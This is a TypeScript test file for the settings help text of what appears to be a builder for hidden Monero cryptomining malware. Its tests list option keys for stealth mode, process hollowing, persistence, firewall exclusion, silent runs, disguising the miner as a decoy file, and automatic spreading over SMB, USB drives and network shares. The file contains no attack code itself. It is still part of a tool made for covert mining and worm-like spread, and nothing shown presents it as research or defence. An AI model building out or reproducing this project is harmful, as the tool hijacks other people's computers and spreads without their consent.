import { describe, expect, it } from 'vitest';
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';

describe('SETUP_CHEATSHEET', () => {
  it('defines four setup steps in order', () => {
    expect(SETUP_CHEATSHEET).toHaveLength(4);
    expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
      '1. Calibrate once',
      '2. Forge (Simple mode)',
      '3. Deploy',
      '4. Watch the fleet',
    ]);
  });

  it('each step has non-empty title and body', () => {
    for (const step of SETUP_CHEATSHEET) {
      expect(step.title.trim().length).toBeGreaterThan(0);
      expect(step.body.trim().length).toBeGreaterThan(20);
    }
  });

  it('mentions key workflow concepts in bodies', () => {
    const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
    expect(bodies).toContain('Calibrate');
    expect(bodies).toContain('Forge');
    expect(bodies).toContain('Command Deck');
    expect(bodies).toContain('Fleet Roster');
  });
});

describe('FIELD_HELP', () => {
  const expectedKeys = [
    'calibrate_wallet',
    'calibrate_quick_setup',
    'forge_simple_mode',
    'forge_recommended_defaults',
    'obfuscate',
    'sign_build',
    'obfuscate_default',
    'sign_enabled',
    'sign_cert_thumbprint',
    'sign_tool_path',
    'sign_timestamp_url',
    'worker_name',
    'server_url',
    'output_dir',
    'wallet',
    'pool_host',
    'pool_port',
    'pool_tls',
    'pool_pass',
    'threads',
    'thread_mode',
    'thread_percent',
    'max_cpu_usage_pct',
    'max_memory_percent',
    'min_free_ram_mb',
    'cpu_priority',
    'mining_mode',
    'idle_threshold_pct',
    'idle_duration_minutes',
    'schedule_start',
    'schedule_end',
    'display_mode',
    'process_name',
    'persistence',
    'run_as',
    'silent_mode',
    'auto_start',
    'fusion_enabled',
    'fusion_run_order',
    'fusion_prep',
    'fusion_media_mode',
    'fusion_output_name',
    'fusion_batch',
    'install_base',
    'install_custom_base',
    'install_relative_path',
    'public_url',
    'websocket_ping_seconds',
    'log_pool_traffic',
    'adapt_to_hardware',
    'self_healing',
    'firewall_exclusion',
    'open_firewall_on_start',
    'file_logging',
    'stealth_mode',
    'ai_enabled',
    'ai_ollama_endpoint',
    'ai_model',
    'process_hollowing',
    'mesh_p2p',
    'auto_spread',
    'usb_spread',
    'share_spread',
    'hole_punch',
    'remote_aggressive',
    'target_os',
    'target_arch',
    'spread_kit',
    'forge_deliverable',
  ] as const;

  it('defines help text for every documented field key', () => {
    expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
  });

  it('each help entry is a non-empty string', () => {
    for (const key of expectedKeys) {
      const text = FIELD_HELP[key];
      expect(typeof text).toBe('string');
      expect(text.trim().length).toBeGreaterThan(10);
    }
  });

  it('wallet and server_url entries warn against localhost', () => {
    expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
    expect(FIELD_HELP.wallet).toMatch(/90.*106/);
    expect(FIELD_HELP.calibrate_wallet).toMatch(/90.*106/);
    expect(FIELD_HELP.calibrate_wallet).not.toMatch(/95 char/);
    expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
    expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
  });

  it('fusion entries describe decoy bundling', () => {
    expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
    expect(FIELD_HELP.fusion_prep).toContain('decoy');
    expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
  });

  it('advanced spread entries describe lateral/USB/share behavior', () => {
    expect(FIELD_HELP.auto_spread).toContain('SMB');
    expect(FIELD_HELP.usb_spread).toContain('USB');
    expect(FIELD_HELP.share_spread).toContain('share');
  });
});
